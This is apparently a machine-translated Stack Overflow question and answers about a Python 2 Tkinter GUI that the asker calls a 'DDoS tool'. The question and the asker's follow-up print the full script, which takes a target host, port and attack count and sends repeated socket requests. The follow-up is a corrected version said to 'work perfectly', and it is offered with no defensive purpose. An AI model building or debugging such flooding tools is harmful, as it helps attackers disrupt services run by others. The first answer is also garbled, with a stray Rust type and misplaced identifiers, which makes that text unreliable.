Question

我是Python的新手，刚刚开始自己进入Tkinter。我开始为DDoS工具创建一个小GUI（因为它不需要太多输入等）。到目前为止，GUI和一切工作正常，但只要我尝试“开火”攻击它就会失败。我自己似乎无法找到错误。任何帮助将不胜感激：）

import time, socket, os, sys, string
from Tkinter import *

root = Tk()
root.title("DDoS")
m = StringVar()
h = StringVar()
p = StringVar()
c = IntVar()


# ***** Text *****
l1 = Label(root, text="Specify Message to send")
l2 = Label(root, text="Specify Host Url")
l3 = Label(root, text="Specify port (usually 80)")
l4 = Label(root, text="Specify amount of attacks")

l1.grid(row=0, sticky=W)
l2.grid(row=1, sticky=W)
l3.grid(row=2, sticky=W)
l4.grid(row=3, sticky=W)

# ***** Input Boxes *****
e1 = Entry(root, textvariable=m)
e2 = Entry(root, textvariable=h)
e3 = Entry(root, textvariable=p)
e4 = Entry(root, textvariable=c)

e1.grid(row=0, column=1)
e2.grid(row=1, column=1)
e3.grid(row=2, column=1)
e4.grid(row=3, column=1)

e3.insert(0, "80")

# ***** grab Input & convert *****
message = e1.get()
host = e2.get()
port = int(e3.get())
conn = int(e4.get())

ip = socket.gethostbyname( host )



def dos():
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((ip, port))
        ddos.send("GET /%s HTTP/1.1\r\n" % message)
        ddos.sendto("GET /%s HTTP/1.1\r\n" % message, (ip, port))
        ddos.send("GET /%s HTTP/1.1\r\n" % message)
    except socket.error, msg:
        print("|[Connection Failed]|")
    print ("|[DDoS Attack Engaged]|")
    ddos.close()

for i in xrange(conn):
    dos()

#FIRE
b = Button(root, text="FIRE", bg='green', command=dos)
b.grid(row=4, column=1)



root.mainloop()

Answer 1

问题是您在用户能够输入任何数据之前调用&mut [T]。该调用仅获取当前值，当GUI首次启动时，当前值为空。

您需要在e1.get()功能中拨打该电话并拨打.get()，这样您就可以获得点击按钮时的值。

Answer 2

现在完美运行，将for循环更改为函数。感谢所有帮助。

message = "test"
ip = socket.gethostbyname(e2.get())
def dos():
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((e2.get(), int(e3.get())))
        ddos.send( message )
        ddos.sendto( message, (ip, int(e3.get()) ))
        ddos.send( message )
    except socket.error, msg:
        print("|[Connection Failed] |")
    print ( "|[DDoS Attack Engaged] |")
    ddos.close()

def attack():
    for i in xrange(int(e4.get())):
        dos()

#FIRE
b = Button(root, text="FIRE", bg='green', command=attack)
b.grid(row=4, column=1)



root.mainloop()

Tkinter按钮不是应该的

2 个答案: